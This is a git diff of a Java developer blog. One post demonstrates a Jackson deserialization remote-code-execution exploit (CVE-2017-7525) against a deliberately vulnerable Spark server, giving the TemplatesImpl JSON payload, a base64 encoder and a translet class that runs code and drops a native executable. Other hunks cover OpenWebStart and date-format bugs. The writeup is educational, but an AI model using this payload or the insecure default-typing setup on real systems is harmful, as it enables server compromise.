frameworks like Spring (Boot) or JakartaEE. In this specific example, I decided to use one of the smallest frameworks that I know for such a use case. By using [spark](http://sparkjava.com) I can easily define a small HTTP server in just 1 Java class. To make life easier I will add [jackson](https://github.com/FasterXML/jackson) and [xalan](https://xalan.apache.org) as additional dependencies to provide automatic JSON-Object-Mapping for my application. Since I decided to use Maven for this example the `pom.xml` file might look like this: + +{% highlight xml %} + + com.karakun.dev + exploit + 1.0-SNAPSHOT + + + + com.sparkjava + spark-core + 2.7.2 + + + com.fasterxml.jackson.core + jackson-databind + 2.8.8 + + + xalan + xalan + 2.7.2 + + + +{% endhighlight %} + +As you can see in the maven definition our application will only need 3 dependencies. Having a deeper look you realize that we already depend on **23** libraries as the 3 dependencies defined in the pom file depend on several other libraries. All these dependencies are transitive dependencies of our application and will be added to the classpath. The following graph shows all libraries our application depends on based on the above pom: + +![Dependency graph](/assets/posts/2019-01-25-security-exploits/dependency-graph.png) + +Most dependencies in the graph are transitive dependencies from spark. Even if this library is one of the smallest HTTP server libs available it already brings a lot of things with it. In our example this is much more than we need since we do not want to add security, use websockets or program against the servlet API. This should not be any blame against spark. I just want to show you that your applications often depend on many more things than you might know. ;) + +## Let's start coding + +The first thing that we want to define is a plain POJO. I decided to call it "Product" and defined it as a small Java bean with some properties/fields. As you can see in the following definition of the class there is absolutely no magic in this code. I even do not define `toString()`, `equals()`, or `hashcode()` (which could be done but does not change anything in the sample). This "Product" data type will be the only data that our application can handle. Here is the complete code of the `Product` class: + +{% highlight java %} +public class Product { + + private String name; + + private Object data; + + public Product() { + } + + public Product(final String name, final Object data) { + this.name = name; + this.data = data; + } + + public String getName() { + return name; + } + + public void setName(final String name) { + this.name = name; + } + + public Object getData() { + return data; + } + + public void setData(final Object data) { + this.data = data; + } +} +{% endhighlight %} + +In our application, we want to manage the above products. Instead of using a database and maybe JPA (as most of us would do for real applications) I have chosen the easiest way to manage such data: a `List`. By defining and managing collections in our application we can easily hold a list of products in memory and work with them at runtime. Since several clients might access our sever I decided to use a `CopyOnWriteArrayList` as a concrete list type in my application. Thus, we won't end in any `ConcurrentModificationException`. The following code snippet shows how a collection with some initial data can be created: + +{% highlight java %} +final List database = new CopyOnWriteArrayList<>(); +database.add(new Product("car", randomData())); +database.add(new Product("boat", randomData())); +database.add(new Product("plane", randomData())); +{% endhighlight %} + +The `randomData()` method used in this snippet creates some random metadata for the `Product` instances. You will see the code of this method later. For our example, these few lines of code are really everything we need as a small in-memory data store. By using a list we can easily add new products to our "database" or return the complete content. + +In the next step, we will use spark to provide HTTP/rest endpoints for exactly this functionality. We want to define an endpoint that can be reached by a `GET` request to return all our products and a second endpoint that can be reached by a `POST` request. The POST endpoint will add a new product as defined in the body of the HTTP request to our database. + +![HTTP endpoints](/assets/posts/2019-01-25-security-exploits/get-post.png) + +The following code snippet shows in a simplified way how this can be achieved by using spark: + +{% highlight java %} +//Configure HTTP server +Spark.port(8888); + +//Define endpoints +Spark.get("/products", (request, response) -> serializer.writeValueAsString(database)); +Spark.post("/products", (request, response) -> database.add(deserializer.readValue(request.body(), Product.class))); +{% endhighlight %} + +For sure the post lambda needs null checks and exception handling. Plus, the `serializer` and `deserializer` objects that are used in the snippet are instances of the `ObjectMapper` class from jackson. These objects will be used to transform the JSON of the HTTP requests and responses to Java objects. Let's put the database and server code together in a single Java class. As you can see in the following snippet you can easily create such simple servers with only 50 lines of code: + +{% highlight java %} +public class MyServer { + + private static final List database = new CopyOnWriteArrayList<>(); + + private static final ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping(); + private static final ObjectMapper serializer = new ObjectMapper(); + + public static void main(String[] args) { + + //Adding some basic data + database.add(new Product("car", randomData())); + database.add(new Product("boat", randomData())); + database.add(new Product("plane", randomData())); + + //Configure HTTP server + Spark.port(8888); + + //Define endpoints + Spark.get("/products", (request, response) -> { + return serializer.writeValueAsString(database); + }); + + Spark.post("/products", (request, response) -> { + try { + final Product product = deserializer.readValue(request.body(), Product.class); + Optional.ofNullable(product).ifPresent(p -> database.add(p)); + return "THANKS"; + } catch (final Exception e) { + return "ERROR"; + } + }); + } + + private static Map randomData() { + final String[] colors = {"yellow", "red", "green"}; + final Map data = new HashMap<>(); + data.put("cost", new Random().nextInt(100_000) + ""); + data.put("color", colors[new Random().nextInt(colors.length)]); + return data; + } +} +{% endhighlight %} + +At this point, we can start our server and call the defined endpoints. To do such calls you can use any tool that provides the functionality to execute HTTP requests. I use [PAW](https://paw.cloud) on my Mac but you can use any other tool like [curl](https://curl.haxx.se) or [postman](https://www.getpostman.com) for example. Also, all major browsers offer plugins or extensions to trigger HTTP requests. + +The following snippet shows the raw content of a GET request to receive the product list from the server + +{% highlight java %} +GET /products HTTP/1.1 +Host: localhost:8888 +Connection: close +User-Agent: Paw/3.1.7 (Macintosh; OS X/10.14.2) GCDHTTPRequest +{% endhighlight %} + +When doing the request you will receive a response that contains the product list in JSON format as you can see in the following screenshot of Paw: + +![Paw screen](/assets/posts/2019-01-25-security-exploits/paw.png) + +Once you added a new product by doing a `POST` HTTP request you see the new product in this JSON list when doing a new `GET` request. For posting a new product the body of your HTTP requests needs to look like this: + +{% highlight json %} +{ + "name":"jetpack", + "data":["java.util.HashMap",{"cost":"200_000","color":"yellow"}] +} +{% endhighlight %} + +Thanks to the jackson and xalan dependency our server application will automatically create a new `Product` instance from the given JSON definition. + +## Let's hack + +Based on the current state of our application and the information we have about its implementation and endpoints we could consider our application as bulletproof that cannot be hacked in any way. Reviewing the following points might support this opinion: + +* The application can only be accessed by 2 endpoints +* The endpoints are well defined and based on the HTTP standard +* Internally exception handling is added to the endpoints +* Internally the endpoints only have access to the data list +* The application is very small and therefore we understand the complete code +* We only use well-known dependencies +* All dependencies are open source + +With all this in mind, you might be shocked when I tell you that I can get access to the native file system by only doing 1 HTTP request against this application. And: the file system is only one example. I showed the very same sample at a JUG session and created a request against the application that changed the wallpaper of my operation system. While this is not really dangerous it had a nice effect on the audience to visualize that I can really do more or less everything on the system that hosts the given application. + +![Bad request](/assets/posts/2019-01-25-security-exploits/bad-request.png) + +All this can be easily achieved by using a simple exploit. Everything I need to do is a `POST` request against the endpoint that our application offers to add a new `Product` instance. Instead of just sending a JSON based description of a product (which I want to add), the body of my HTTP request looks like this: + +{% highlight json %} +{ + "name": "bomb", + "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl", + { + "transletBytecodes" : [ "yv66vgAAADQAy........ABAHoAAwB7AHwAew==" ], + "transletName": "oops!", + "outputProperties": {} + } + ] +} +{% endhighlight %} + +The content of the `transletBytecodes` property is much longer than shown in this snippet. But since you cannot really read the content it doesn't make sense to show it completely. Much more interesting is the general workflow that I used to create this HTTP body and how it will be handled in our server application. + +The content of the `transletBytecodes` property is a base64 encoded byte array. This byte array is the byte representation of a compiled Java class. To create the base 64 string I wrote a java class compiled it and simply converted the content of the class file to base64. + +![Bad request](/assets/posts/2019-01-25-security-exploits/workflow.png) + +If you want to try this on your own just compile a Java class and use any converter to create a base64 based string out of the content of the class file. You can even create such tool by yourself with some lines of Java code: + +{% highlight java %} +public class Encoder { + + public static void main(String[] args) throws Exception { + byte[] classBytes = Files.readAllBytes(new File("target/classes/com/karakun/dev/Bomb.class").toPath()); + byte[] encodedBytes = Base64.getEncoder().encode(classBytes); + System.out.println(new String(encodedBytes)); + } +} +{% endhighlight %} + +The given code directly prints the base64 encoded string as the output of the program to your terminal. If you want to do this with a class that you can use for the exploit you need to extend a specific class that is defined by xalan. Simply add `org.apache.xalan.xsltc.runtime.AbstractTranslet` class. The 2 abstract methods can be implemented with an empty body they are not used for the exploit. The really interesting part is the constructor of your class. Here you can easily add some custom code like I did in the following sample: + +{% highlight java %} +public class Bomb extends org.apache.xalan.xsltc.runtime.AbstractTranslet { + + public Bomb() { + super.transletVersion = CURRENT_TRANSLET_VERSION; + + //Now we can do evil stuff + System.out.println("BOOOOOOOOM!"); + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + // empty + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + // empty + } +} +{% endhighlight %} + +If you transform such a class to a base64 string as described above and send it to your server application the constructor of your custom class will be called on the server. With the given example the server would print "BOOOOOOOOM!" as output in the terminal. Before we have a look at the internals and how this is even possible think about the evil potential of this security issue. Instead of just printing a funny string we could write an algorithm that does horrible things on your system as you can see in the following code snippet: + +{% highlight java %} +public Bomb() { + super.transletVersion = CURRENT_TRANSLET_VERSION; + + //the byte content of a native tool as base64 + String snifferBinaryStream = "yv66vgAAADQAy........ABAHoAAwB7AHwAew" + + //Let's create an executable on the local machine + File executable = copyToExe(snifferBinaryStream); + + //Let's start our native executable + run(executable); +} +{% endhighlight %} + +## Some background to the vulnerability + +The exploit that I used in the sample is a security issue that occurred in several versions of the jackson-databind library (All versions before 2.6.7.1, 2.7.9.1 and 2.8.9 are affected). The issue was reported in 2017 and is fixed in new releases of the library. Internally the problem is defined like this: `jackson-databind` will perform code execution by sending maliciously crafted input to the readValue method of the `ObjectMapper`. + +You can find more information about the vulnerability [here](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7525) + +## Conclusion + +This small example shows that even common and popular libraries can have security issues which can be used for exploits. Sometimes such bugs (and the exploits) can be harmless but the given sample shows how such exploits could kill your complete system. We as developers need to know about such problems in the libraries our systems depend on and try to get rid of them. The following thoughts can help us not to end in creating insecure applications or get hacked: + +* The most important step is to know the internal dependencies and remove frameworks and libraries that you don't really need. +* You should keep all your dependencies up-to-date. +* All security issues are captured in [databases](http://cve.mitre.org) and tools can help us to check our applications and their dependencies against these databases. + +I plan to write an article in the near future about helpful tools that will notify you automatically about possible security issues in your software stack. diff --git a/_posts/2019-12-10-webstart-advent.md b/_posts/2019-12-10-webstart-advent.md index 8a66995..3faba21 100644 --- a/_posts/2019-12-10-webstart-advent.md +++ b/_posts/2019-12-10-webstart-advent.md @@ -1,69 +1,70 @@ ---- -layout: post -title: 'How open source saved WebStart' -author: hendrik -featuredImage: webstart -excerpt: 'Everyone who has developed Java desktop applications within the last 15 years used WebStart or at least heard about it. This post gives an overview how the technology evolves as an open source project after Oracle announced its removal from the Oracle JDK.' -categories: [Java, OpenWebStart] -header: - text: How open source saved WebStart - image: sample ---- -{% include elements/block.html text="This post was originally posted at [www.javaadvent.com](https://www.javaadvent.com)" %} - -Everyone who has developed Java desktop applications within the last 15 years used WebStart or at least heard about it. After WebStart was added to the Sun (and later Oracle) Java JREs and JDK in 2002 a lot of applications have been based on this technology. WebStart allows us to install, update, and run Java based applications on a desktop machine by defining the application and a so-called JNLP file (containing an XML description of the application). This file and all resources (like jar-files or icons) that form the application can be stored on a server. Whenever a client starts a WebStart application, new or updated resources will automatically be downloaded from the server. - -While WebStart has been used a lot to provide Java Desktop application most developers missed one important point: While there is a JSR that specifies the [JNLP standard](https://jcp.org/en/jsr/detail?id=56) Oracle never provided an open source reference implementation. Next to this the WebStart functionally that has been provided by Oracle was never part of the OpenJDK. In spring 2018 Oracle published a roadmap for Java on the desktop and announced that WebStart will be removed in the future. Half a year later Java 11 was released as the first LTS version of Java which does no longer includes WebStart. Next to this, the last free-to-use version of Java 8 was released at the beginning of 2019. - -![webstart timeline](/assets/posts/2019-12-10-webstart-advent/ws-timeline.png) - -Based on this a lot of companies that use WebStart as a foundation for large applications were faced with a problematic solution within the last 2 years. In general, there were the following options to choose from: - -* Continue to use an outdated (and in maybe insecure) Java 8 version -* Sign a contract with Oracle to receive commercial LTS version of Java 8 in future -* Create a replacement for WebStart - -As you can see no option looks favorable. While it is desirable that companies pay for LTS support, the vendor lock-in to the Oracle JDK is not. And as there was no alternative to WebStart companies started to find custom solutions. - -In that period several companies contacted Karakun AG and ask if we can help to create a custom workaround/solution to handle the WebStart issue. Instead of trying to create several customer-specific projects, we decide that a general project would be much more sustainable and could help all developers. - -## Finding partners for the future of WebStart - -As you can imagine other companies have already worked on alternatives to Oracle WebStart in the past. With [IcedTeaWeb](https://icedtea.classpath.org/wiki/IcedTea-Web) RedHat created a JNLP client which provides several of the features of Oracle WebStart. While the scope of IcedTeaWeb was limited to Linux (and some minor Windows support) and not all features of WebStart were implemented. All in all, it was just not ready to be used for most WebStart users. Also, the main work on the project happened several years ago and in recent years it was mainly neglected. The sources of IcedTeaWeb were hosted in a hard to find mercurial repository and the code style was mainly based on Java 1.4. Fortunately, we have some good connections to RedHat and were able to get in contact with the people working on IcedTeaWeb. Around the same time, the [AdoptOpenJDK](https://adoptopenjdk.net/) community reacted on the discontinuation of WebStart and contacted RedHat, too. - -![companies](/assets/posts/2019-12-10-webstart-advent/companies.png) - -Luckily all three organizations care about open source and therefore it was possible to define a roadmap: IcedTeaWeb will be transferred and [hosted on GitHub](https://github.com/AdoptOpenJDK/IcedTea-Web) under the umbrella of the AdoptOpenJDK community. After moving the code and making it more visible the big task of refactoring the code was started. The goal was to make it ready for Java 8 and 11 LTS support on all major operating systems. In this process, we found out that integrating with one or the other operating system can create quite some interesting issues. - -## How to pay for all of this? - -As none of the partners was willing or capable of financing all the work required to add the missing features to IcedTeaWeb a search of sponsors was started. The goal was to find companies that were willing to sponsor part of the development coast. It was not always easy to convince finance departments why they should be paying for a software that a) is not ready to use and b) is licensed under GPLv2 and therefore free for everybody to use. So for our sponsors, it was a prisoners dilemma. Why should they invest in something free? But on the other hand, if nobody invested the project would not be realized and then they would need to find a custom solution for their existing applications which depend on WebStart. - -## OpenWebStart - -While analyzing the features of IcedTeaWeb and comparing them with the needs of the companies sponsoring the work we noticed a gap. IcedTeaWeb was mostly designed with a normal end-user in mind. But companies have very different requirements. E.g. companies want a simple mechanism to roll out an application to many computers or they want to control which application can be started on a computer. As a result of this we decided to start a second project on top of IcedTeaWeb: and so was [OpenWebStart](https://openwebstart.com/) born. - -IcedTeaWeb is the very core and most of the development time we spent here. But there are also a few mentionable features which are only available in OpenWebStart: - -* Unattended installation and auto-update: These were requirements from the sponsors. OpenWebStart delegates this task to install4j which is a commercial product but is available for free to open source projects. -* MacOS support: install4j also includes an installer for MacOS. Therefore we decided to limit MacOS support to OpenWebStart. This may be added to IcedTeaWeb later -* JVM Manager: IcedTeaWeb uses a JRE to run. Also, all applications are started with the same JRE. To support different vendors and JRE versions on the same computer OpenWebStart introduces a JVM Manager. The JVM Manager can use locally installed JREs or download and update JREs from a central server. This allows to have different JREs for different applications. As a consequence of this, a user does not need to have Java installed to start a JNLP application. - -![JVM manager](/assets/posts/2019-12-10-webstart-advent/manage-java-version.png) - -With the 1.0 release of OpenWebStart some weeks ago developers can now choose if they want to bundle an IcedTeaWeb installation with a given JVM to execute JNLP applications or use OpenWebStart and delegate the JVM handling to this new tool. In both cases, the JNLP handling and workflows are the same since OpenWebStart uses IcedTeaWeb internally as the JNLP client. - -Thanks to [the sponsors](https://openwebstart.com/sponsors/) that liked the idea of a solid open source replacement of Oracle WebStar we were able to polish the IcedTeaWeb code and shift it’s quality and feature-set to a new level next to implementing new native features in OpenWebStart. With IcedTeaWeb and OpenWebStart users now have 2 open source solutions that allow them to continue the use of JNLP based applications. While some features are still in development we already received a lot of positive feedback from the developer community. - -## The future of WebStart - -Don’t get me wrong. I’m not trying to sell WebStart as the next big thing in the Java ecosystem. For us, it was important to support companies and developers in doing a planed and controlled migration away from WebStart to other technologies. By having a working open source solution that will stay for the next years, companies will have time to find solutions and workflow to install, update, and execute Java desktop integration. With the JavaPackager the OpenJDK will contain a tool to create native applications from Java soon. While this tool does not provide all functionalities that WebStart offers – and that is needed for desktop integration from our point of view – the Java community has won some time to create a real successor that might help to bring more Java applications to the desktop. - -## Our learning - -Besides all the technical details and Java specific quirks we had two very insightful learning: - -* Visibility on the internet and user base do not necessarily correlate. If you look at hot topics in the Java community you will most likely not stumble upon WebStart. Never the less there is a large number of applications, users, and developers who are using this technology. Most of these applications are custom software used only in a single company. And companies tend to not brag about their internal software which might give them an advantage over their competitors. WebStart (and other Java on the desktop technologies) form a kind of an iceberg. Below the few bits and pieces visible on the net lies a much greater user base. -* It is possible to find the money for open source software. While the only profit we draw from OpenWebStart is the numerous experiences we made in the process of writing the code. We were able to find companies willing to support us financially in making this project come to life. Especially around Christmas time, it is comforting to know that even in today’s culture of free services there are still some companies out there willing to pay for a piece of software. - -In the end, I’m really happy that – together with awesome partners – we finished the 1.0 release of this interesting open source project just before the end of 2019. +--- +layout: post +redirect_to: https://open-elements.com/posts/2019/12/10/how-open-source-saved-webstart/ +title: 'How open source saved WebStart' +author: hendrik +featuredImage: webstart +excerpt: 'Everyone who has developed Java desktop applications within the last 15 years used WebStart or at least heard about it. This post gives an overview how the technology evolves as an open source project after Oracle announced its removal from the Oracle JDK.' +categories: [Java, OpenWebStart] +header: + text: How open source saved WebStart + image: sample +--- +{% include elements/block.html text="This post was originally posted at [www.javaadvent.com](https://www.javaadvent.com)" %} + +Everyone who has developed Java desktop applications within the last 15 years used WebStart or at least heard about it. After WebStart was added to the Sun (and later Oracle) Java JREs and JDK in 2002 a lot of applications have been based on this technology. WebStart allows us to install, update, and run Java based applications on a desktop machine by defining the application and a so-called JNLP file (containing an XML description of the application). This file and all resources (like jar-files or icons) that form the application can be stored on a server. Whenever a client starts a WebStart application, new or updated resources will automatically be downloaded from the server. + +While WebStart has been used a lot to provide Java Desktop application most developers missed one important point: While there is a JSR that specifies the [JNLP standard](https://jcp.org/en/jsr/detail?id=56) Oracle never provided an open source reference implementation. Next to this the WebStart functionally that has been provided by Oracle was never part of the OpenJDK. In spring 2018 Oracle published a roadmap for Java on the desktop and announced that WebStart will be removed in the future. Half a year later Java 11 was released as the first LTS version of Java which does no longer includes WebStart. Next to this, the last free-to-use version of Java 8 was released at the beginning of 2019. + +![webstart timeline](/assets/posts/2019-12-10-webstart-advent/ws-timeline.png) + +Based on this a lot of companies that use WebStart as a foundation for large applications were faced with a problematic solution within the last 2 years. In general, there were the following options to choose from: + +* Continue to use an outdated (and in maybe insecure) Java 8 version +* Sign a contract with Oracle to receive commercial LTS version of Java 8 in future +* Create a replacement for WebStart + +As you can see no option looks favorable. While it is desirable that companies pay for LTS support, the vendor lock-in to the Oracle JDK is not. And as there was no alternative to WebStart companies started to find custom solutions. + +In that period several companies contacted Karakun AG and ask if we can help to create a custom workaround/solution to handle the WebStart issue. Instead of trying to create several customer-specific projects, we decide that a general project would be much more sustainable and could help all developers. + +## Finding partners for the future of WebStart + +As you can imagine other companies have already worked on alternatives to Oracle WebStart in the past. With [IcedTeaWeb](https://icedtea.classpath.org/wiki/IcedTea-Web) RedHat created a JNLP client which provides several of the features of Oracle WebStart. While the scope of IcedTeaWeb was limited to Linux (and some minor Windows support) and not all features of WebStart were implemented. All in all, it was just not ready to be used for most WebStart users. Also, the main work on the project happened several years ago and in recent years it was mainly neglected. The sources of IcedTeaWeb were hosted in a hard to find mercurial repository and the code style was mainly based on Java 1.4. Fortunately, we have some good connections to RedHat and were able to get in contact with the people working on IcedTeaWeb. Around the same time, the [AdoptOpenJDK](https://adoptopenjdk.net/) community reacted on the discontinuation of WebStart and contacted RedHat, too. + +![companies](/assets/posts/2019-12-10-webstart-advent/companies.png) + +Luckily all three organizations care about open source and therefore it was possible to define a roadmap: IcedTeaWeb will be transferred and [hosted on GitHub](https://github.com/AdoptOpenJDK/IcedTea-Web) under the umbrella of the AdoptOpenJDK community. After moving the code and making it more visible the big task of refactoring the code was started. The goal was to make it ready for Java 8 and 11 LTS support on all major operating systems. In this process, we found out that integrating with one or the other operating system can create quite some interesting issues. + +## How to pay for all of this? + +As none of the partners was willing or capable of financing all the work required to add the missing features to IcedTeaWeb a search of sponsors was started. The goal was to find companies that were willing to sponsor part of the development coast. It was not always easy to convince finance departments why they should be paying for a software that a) is not ready to use and b) is licensed under GPLv2 and therefore free for everybody to use. So for our sponsors, it was a prisoners dilemma. Why should they invest in something free? But on the other hand, if nobody invested the project would not be realized and then they would need to find a custom solution for their existing applications which depend on WebStart. + +## OpenWebStart + +While analyzing the features of IcedTeaWeb and comparing them with the needs of the companies sponsoring the work we noticed a gap. IcedTeaWeb was mostly designed with a normal end-user in mind. But companies have very different requirements. E.g. companies want a simple mechanism to roll out an application to many computers or they want to control which application can be started on a computer. As a result of this we decided to start a second project on top of IcedTeaWeb: and so was [OpenWebStart](https://openwebstart.com/) born. + +IcedTeaWeb is the very core and most of the development time we spent here. But there are also a few mentionable features which are only available in OpenWebStart: + +* Unattended installation and auto-update: These were requirements from the sponsors. OpenWebStart delegates this task to install4j which is a commercial product but is available for free to open source projects. +* MacOS support: install4j also includes an installer for MacOS. Therefore we decided to limit MacOS support to OpenWebStart. This may be added to IcedTeaWeb later +* JVM Manager: IcedTeaWeb uses a JRE to run. Also, all applications are started with the same JRE. To support different vendors and JRE versions on the same computer OpenWebStart introduces a JVM Manager. The JVM Manager can use locally installed JREs or download and update JREs from a central server. This allows to have different JREs for different applications. As a consequence of this, a user does not need to have Java installed to start a JNLP application. + +![JVM manager](/assets/posts/2019-12-10-webstart-advent/manage-java-version.png) + +With the 1.0 release of OpenWebStart some weeks ago developers can now choose if they want to bundle an IcedTeaWeb installation with a given JVM to execute JNLP applications or use OpenWebStart and delegate the JVM handling to this new tool. In both cases, the JNLP handling and workflows are the same since OpenWebStart uses IcedTeaWeb internally as the JNLP client. + +Thanks to [the sponsors](https://openwebstart.com/sponsors/) that liked the idea of a solid open source replacement of Oracle WebStar we were able to polish the IcedTeaWeb code and shift it’s quality and feature-set to a new level next to implementing new native features in OpenWebStart. With IcedTeaWeb and OpenWebStart users now have 2 open source solutions that allow them to continue the use of JNLP based applications. While some features are still in development we already received a lot of positive feedback from the developer community. + +## The future of WebStart + +Don’t get me wrong. I’m not trying to sell WebStart as the next big thing in the Java ecosystem. For us, it was important to support companies and developers in doing a planed and controlled migration away from WebStart to other technologies. By having a working open source solution that will stay for the next years, companies will have time to find solutions and workflow to install, update, and execute Java desktop integration. With the JavaPackager the OpenJDK will contain a tool to create native applications from Java soon. While this tool does not provide all functionalities that WebStart offers – and that is needed for desktop integration from our point of view – the Java community has won some time to create a real successor that might help to bring more Java applications to the desktop. + +## Our learning + +Besides all the technical details and Java specific quirks we had two very insightful learning: + +* Visibility on the internet and user base do not necessarily correlate. If you look at hot topics in the Java community you will most likely not stumble upon WebStart. Never the less there is a large number of applications, users, and developers who are using this technology. Most of these applications are custom software used only in a single company. And companies tend to not brag about their internal software which might give them an advantage over their competitors. WebStart (and other Java on the desktop technologies) form a kind of an iceberg. Below the few bits and pieces visible on the net lies a much greater user base. +* It is possible to find the money for open source software. While the only profit we draw from OpenWebStart is the numerous experiences we made in the process of writing the code. We were able to find companies willing to support us financially in making this project come to life. Especially around Christmas time, it is comforting to know that even in today’s culture of free services there are still some companies out there willing to pay for a piece of software. + +In the end, I’m really happy that – together with awesome partners – we finished the 1.0 release of this interesting open source project just before the end of 2019. diff --git a/_posts/2020-02-15-back-to-the-future.md b/_posts/2020-02-15-back-to-the-future.md index a3c54fd..771cb0c 100644 --- a/_posts/2020-02-15-back-to-the-future.md +++ b/_posts/2020-02-15-back-to-the-future.md @@ -1,146 +1,147 @@ ---- -layout: post -title: 'Back to the future - with Java' -author: hendrik -featuredImage: back-to-java -excerpt: "Each year several Java applications might show wrong date information for the days around New - Year's Eve. This post gives an overview about the problem and describes how you can easily avoid such - bugs" -categories: [Java] -header: - text: A common problem with the date format - image: sample ---- -Since Java 8 we have a new date & time API as part of Java. The API is really good and offers a lot of functionality and flexibility. Based on this it’s much easier to handle date and time information in Java. But even with this new API, several use cases are still quite complex. When talking about problems with date and time information normally timezones are mentioned directly. In this post, I will show you that even the basic usage of date information can create problems. So we will forget all the timezone problems for now and have a look at a really easy use case: We want to print the year of a date. Maybe even this task can end in some trouble… - -Let's have a look at a simple code snippet: - -{% highlight java %} -final LocalDate myDate = LocalDate.of(2015, 11, 30); -final DateTimeFormatter formatter = DateTimeFormatter.ofPattern("dd.MM.YYYY"); -final String formattedDate = formatter.format(myDate); -System.out.println("The date is " + formattedDate); -{% endhighlight %} - -Even if you have not used the API that often it's quite easy to understand that the code will print `The date is 30.11.2015` to the console. Based on this experience we can create a method like this: - -{% highlight java %} -/** -* Prints the given date in the format that is normally used in Europe. -* The format is described as -* [day of month (2 digits)].[month of year (2 digits)].[year (4 digits)] -* -* @param date the date -*/ -public static void printDate(final LocalDate date) {} - final DateTimeFormatter formatter = DateTimeFormatter.ofPattern("dd.MM.YYYY"); - final String formattedDate = formatter.format(myDate); - System.out.println("The date is " + formattedDate); -} -{% endhighlight %} - -What if I tell you that this code already contains a common problem, that I've seen in several projects within the last years? To understand that problem we should call the method with a set of -different dates: - -* `LocalDate.of(2015, 11, 30)` results in `The date is 30.11.2015` -* `LocalDate.of(1992, 4, 12)` results in `The date is 12.04.1992` -* `LocalDate.of(2008, 12, 28)` results in `The date is 28.12.2008` -* `LocalDate.of(2021, 1, 1)` results in `The date is 01.01.2020` - -If you realized the mismatch and you are not aware of the problem you might ask yourself what the hell is happening here. While the first 3 example looks good the output of the last example contains a wrong year. You can easily try this on your own if you do not believe me ;) - -![Duke](/assets/posts/2020-02-15-back-to-the-future/duke-delorian.png) - -## It's not a bug, it's a feature - -To be true the described behavior is not a bug in the JDK, it's a feature that a lot of people are not aware of. So let's have a look at why the given output is correct and what we need to do to get our wanted behavior. - -The problem with our code is hidden in the usage of the `DateTimeFormatter`. To receive our date as a formatted string we use the pattern `dd.MM.YYYY`. Maybe you already asked yourself why the `d` in the pattern is written lowercase while the `M` and `Y` are written uppercase. Let's have a look at the [JavaDoc](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/time/format/DateTimeFormatter.html) of the `DateTimeFormatter` class and the definition of the pattern for formatting and parsing. -In the doc, you can find a table with a description of each supported letter in such a pattern. The following table contains only the letters that are interested in our use case: - -{:.table} -| letter | meaning | examples | -| ------ | --------------- | -------- | -| d | day-of-month | 10 | -| D | day-of-year | 189 | -| m | minute-of-hour | 30 | -| M | month-of-year | 7; 07 | -| y | year-of-era | 2004; 04 | -| Y | week-based-year | 1996; 96 | -| u | year | 2004; 04 | - -As you can see for all the letters that we used in the example the uppercase and lowercase variants have a different meaning. When having a look at the definition for day and month we can easily say that we have chosen the right pattern to format the string. It becomes more interesting when having a look at the year definition. As you can see the table contains 3 different letters (`y`, `Y`, and `u`) that can be used to define the format of a year in the pattern. - -### Finding the problem - -In our example, we used `YYYY` to define the year. Let's have a look at the definition of the parser letter `Y`. As you can see in the table it is defined as **'week-based-year'**. While the examples in the table looks fine this definition is the cause of our problem: - -The **'week-based-year'** type is defined by the 'ISO week date' that is part of ISO 8601. A detailed definition of this standard can be found at [wikipedia](https://en.wikipedia.org/wiki/ISO_week_date). The standard defines that a year has 52 or 53 full weeks. That is 364 or 371 days instead of the usual 365 or 366 days. In the definition weeks always start with Monday and the first week of a year is the week that contains the first Thursday of the year. - -By using this definition it can happen that the first days of a year are not part of the first week of the year but the last week of the previous year. Next to this the last days of December could be part of the first week of the next year. Here are some examples: - -* **December 29, 2014 (Monday)** is defined as part of the first week of the year 2015 since the Thursday of this week is the first Thursday in 2015 (1 January 2015). Based on this the `YYYY` pattern would result in 2015 for that date. -* **January 1, 2015 (Thursday)** is defined as part of the first week of the year 2015 since the Thursday of this week is the first Thursday in 2015. Based on this the `YYYY` pattern would result in 2015 for that date. -* **January 1, 2016 (Friday)** is defined as part of the last week of the year 2015 since the Thursday of this week is in 2015 (December 31, 2015). Based on this the `YYYY` pattern would result in 2015 for that date. - -Maybe you have noticed in the samples that both dates '1 January 2015' and '1 January 2016' will result in the same string by using the `dd.MM.YYYY` pattern ;) - -For most people, this ISO standard is not usable for their regular work. But as you have seen in the examples this can end in critical bugs in our software. - -Since we found the problem and understood the 'ISO week date' we can say that this is normally not the solution that we want to use in our software. The `DateTimeFormatter` class supports 2 other letters (`y` and `u`) to format year information. Let's have a look at these 2 options. - -### Working with eras - -It might look like it won't make any difference if you use `y` or `u` as a letter for years. As long as the date is within the current era everything is fine. The Gregorian Calendar uses the "Common Era" notation. Here the 2 eras **"Common Era" (CE)** and **"Before the Common Era" (BCE)** are used. We are currently in the "Common Era" that started with year 0. An end of the "Common Era" is not defined. This definition is an alternative to Dionysian “Before Christ” (BC) and “Anno Domini” (AD) definition that is numerically equivalent but uses a different (non-religious based) wording. - -![Eras](/assets/posts/2020-02-15-back-to-the-future/eras.png) - -When formatting a year by using the `DateTimeFormatter` class you can add the era to your custom pattern. The era is defined by the letter `G` as you can find out in the JavaDoc of `DateTimeFormatter`. The following table gives an overview how years will be formatted based on the 2 different types: - -{:.table} -| year (as number) | pattern 'uuuu' | pattern 'yyyy' | pattern 'yyyy G' | -| ---------------- | -------------- | -------------- | ---------------- | -| 2019 | 2019 | 2019 | 2019 AD | -| 3 | 0003 | 0003 | 0003 AD | -| 0 | 0000 | 0001 | 0001 BC | -| -1 | -0001 | 0002 | 0002 BC | -| -10 | -0010 | 0011 | 0011 BC | -| -2019 | -2019 | 2020 | 2020 BC | - -From my point of view, both pattern have their downsides. When using the `yyyy` pattern without adding information of the era you might get an output that will be interpreted wrong by a user. Imagine you have a mathematical bug in your software and calculate the year '-2019' as the final year of any contract. I would assume that it will be better to see '-2019' on screen/paper and recognize the error instead of '2020'. - -Another interesting point is that the result might be longer as the letter count in the `uuuu` pattern. As you can see in the table negative year numbers will have a `-` as a prefix when using the `uuuu` pattern. Based on this you can not trust the string length of a formatted date when using the `u` to format years. - -#### Other eras in Java - -Java supports different calendar systems next to the Gregorian Calendar. You can find a good example when having a look at the `JapaneseChronology` class that defines the 'Japanese Imperial calendar system' in Java. While I have absolutely no knowledge about that calendar system you can find out that is has several eras that are defined by the `JapaneseEra` class. This class contains several constants that define the eras of the calendar system: - -{:.table} -| name | meaning | -| 